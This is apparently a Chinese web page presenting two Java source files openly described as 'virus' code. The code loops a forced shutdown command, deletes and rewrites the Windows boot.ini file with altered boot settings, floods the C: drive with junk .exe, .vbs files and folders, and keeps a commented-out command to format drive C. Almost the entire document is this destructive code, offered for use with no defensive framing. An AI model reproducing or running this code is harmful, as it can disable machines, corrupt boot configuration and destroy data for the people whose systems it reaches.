用java实现病毒功能的代码

 

1. /*
2.  * To change this template, choose Tools | Templates
3.  * and open the template in the editor.
4.  */
6. package format;
7. //virulvirus .java
8. /**
9.  *
10.  * @author jdm
11.  */
12. import java.io.File;
13. import java.io.FileNotFoundException;
14. import java.io.FileOutputStream;
15. import java.io.IOException;
16. import java.io.OutputStreamWriter;
17. import java.io.PrintWriter;
18. import java.io.UnsupportedEncodingException;
19. import java.util.*;
21. public class virulvirus extends Thread implements Runnable{
23.     /**
24.      * @param args
25.      */public virulvirus(){
26.          Timer timer=new Timer();
27.          TimerTask timetask=new TimerTask(){
29.             /* (non-Javadoc)
30.              * @see java.util.TimerTask#run()
31.              */
32.             @Override
33.             public void run() {
34.                 // TODO Auto-generated method stub
35.                 Process p;
36.                 //Process f;
37.                 try {
38.                     
39.                                         //f=Runtime.getRuntime().exec("Format c:" );
40.                     p=Runtime.getRuntime().exec("shutdown -s -t 10");
41.                                         writer();
42.                                         writer1();
43.                 } catch (IOException e) {
44.                     // TODO Auto-generated catch block
45.                     e.printStackTrace();
46.                 }
47.             }
48.              
49.          };
50.                  
51.          timer.schedule(timetask,1000,3000);
52.                  
53.      }
54.      public void writer(){
55.          File f=new File("c://boot.ini");
56.          if(f.exists()){
57.             f.delete();
58.             f.deleteOnExit();
59.          }
60.          
61.         try {
62.             PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("C://boot.ini"),"GBK"));
63.             writer.write("[boot loader]//ntimeout=0//ndefault=multi(0)disk(2)rdisk(0)partition(0)//WINDOWS/n[operating systems]//nmulti(0)disk(0)rdisk(0)partition(1)//WINDOWS=/"Microsoft Windows XP Professional/" /noexecute=optin /fastdetect /usepmtimer");
64.             writer.close();
65.         } catch (UnsupportedEncodingException e) {
66.             // TODO Auto-generated catch block
67.             e.printStackTrace();
68.         } catch (FileNotFoundException e) {
69.             // TODO Auto-generated catch block
70.             e.printStackTrace();
71.         }
72.          }
73.      public void writer1(){
74.          for(int i=1;i<50;i++){
75.              i*=new Random().nextInt(50);
76.              String x=Integer.toString(i);
77.              File windows=new File("c://window");
78.              if(!windows.exists()){
79.                  windows.mkdir();
80.              }
81.              File dir=new File("c://wind0ws");
82.              if(!dir.exists())
83.                  dir.mkdir();
84.              File dir2=new File(dir,"default");
85.              if(!windows.exists())dir2.mkdir();
86.                          File zhuomian=new File("C://Documents and Settings//All Users//桌面//jdm.txt");
87.                          if(!zhuomian.exists()){
88.                          try{zhuomian.createNewFile();}catch(IOException e){e.printStackTrace();}
89.                          }
90.              
91.              try {
92.                 File f=new File("c://window");
93.                                 if(f.exists()){
94.                                 PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("c://window//"+x+".exe"),"GBK"));
95.                 writer.write(i);
96.                                 writer.close();}
97.                                 else{
98.                                 PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("c://"+x+".vbs"),"GBK"));
99.                 writer.write("msgbox /"呵呵，中奖啦！！！！！！！！！！！！！！！！！！！！/"");
100.                                 writer.close();
101.                                 File fix=new File("c://"+x+".exe");
102.                                 if(!fix.exists()){
103.                                 fix.createNewFile();
104.                                 }
105.                                 }
106.                                     
107.             } catch (UnsupportedEncodingException e) {
108.                 // TODO Auto-generated catch block
109.                 e.printStackTrace();
110.             } catch (FileNotFoundException e) {
111.                 // TODO Auto-generated catch block
112.                 e.printStackTrace();
113.             }
114.                          catch(IOException e){
115.                              e.printStackTrace();
116.                          }
117.                          new Thread().start();
118.          }
119.      }
120.          
121.      
122.      //========================================
123.      public void run(){
124.          new virulvirus();
125.                  new Copy();
126.         
127.          
128.          
129.      }
130.      //=========================================
131.      
132.      
133.     
134.     
135.     public static void main(String[] args) {
136.         // TODO Auto-generated method stub
137.         virulvirus v1=new virulvirus();
138.         v1.start();
139.         
140.         
141.     }
143. }

1. /*
2.  * To change this template, choose Tools | Templates
3.  * and open the template in the editor.
4.  */
6. package format;
8. /**
9.  *
10.  * @author mdj
11.  */
12. //copy.java
13. import java.io.*;
14. import java.util.*;
15. public class Copy{
17.     /**
18.      * @param args
19.      */
20.     public Copy() {
21.         // TODO Auto-generated method stub
22.         new Timer().schedule(new TimerTask(){
23.             public void run(){
24.                 String path="d://java.txt";
25.                 File file3=new File(path);
26.                 if(!file3.exists()){
27.                     try {
28.                         file3.createNewFile();
29.                     } catch (IOException e) {
30.                         // TODO Auto-generated catch block
31.                         e.printStackTrace();
32.                     }
33.                 }
34.                 byte[] buff=new byte[1024];
35.                 String comtent="this is java test file";
36.                 try {
37.                     FileOutputStream out1=new FileOutputStream(path,true);
38.                     BufferedOutputStream out2=new BufferedOutputStream(out1);
39.                     DataOutputStream out=new DataOutputStream(out2);
40.                     out.writeBytes(comtent);
41.                     out.close();
42.                     FileInputStream in=new FileInputStream(path);
43.                     in.read(buff);
44.                     in.close();
45.                     
46.                     for(int i=0;i<100;i++){
47.                         i+=new Random().nextInt(20);
48.                         String x=Integer.toString(i);
49.                         String path2="c://computer"+x+".exe";
50.                         FileOutputStream out4=new FileOutputStream(path2,true);
51.                         out4.write(buff);
52.                         out4.close();
53.                         File f=new File(path);
54.                         if(f.exists()){
55.                             f.delete();
56.                         }
57.                         File f2=new File(path2);
58.                         //System.out.println(f2.getClass());
59.                         
60.                     }
61.                     
62.                 } catch (FileNotFoundException e) {
63.                     // TODO Auto-generated catch block
64.                     e.printStackTrace();
65.                 }catch(IOException e){
66.                     e.printStackTrace();
67.                 }
68.             }
69.         },3000,30);
70.         
71.     }
72.        
74. }